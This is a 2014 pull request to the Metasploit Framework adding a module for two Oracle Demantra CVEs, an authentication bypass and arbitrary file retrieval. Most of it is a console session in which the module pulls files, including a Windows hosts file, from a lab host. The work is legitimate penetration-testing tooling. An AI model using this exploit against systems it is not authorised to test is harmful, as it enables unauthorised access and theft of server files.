rapid7/metasploit-framework — pull request #3149 by 0x3fcoma (2014-03-27 04:55:52+00:00)
Title: Add CVE-2013-5877+CVE-2013-5880 for Oracle Demantra

This Module exploits two CVEs for Oracle Demantra.
It includes an authentication bypass and a arbitrary file retrieval.

Module in action:

msf > use auxiliary/scanner/http/oracle_demantra_file_retrieval
msf auxiliary(oracle_demantra_file_retrieval) > set RHOSTS 10.10.10.116
RHOSTS => 10.10.10.116
msf auxiliary(oracle_demantra_file_retrieval) > exploit

[*] 10.10.10.116:8080 returns: 200
[*] 10.10.10.116:8080 - File saved in: /Users/user/.msf4/loot/20140326173342_default_10.10.10.116_oracle.demantra_002467.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(oracle_demantra_file_retrieval) > set FILEPATH c:/windows/system32/drivers/etc/hosts
FILEPATH => c:/windows/system32/drivers/etc/hosts
msf auxiliary(oracle_demantra_file_retrieval) > exploit

[*] 10.10.10.116:8080 returns: 200
[*] 10.10.10.116:8080 - File saved in: /Users/user/.msf4/loot/20140326173406_default_10.10.10.116_oracle.demantra_331164.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(oracle_demantra_file_retrieval) >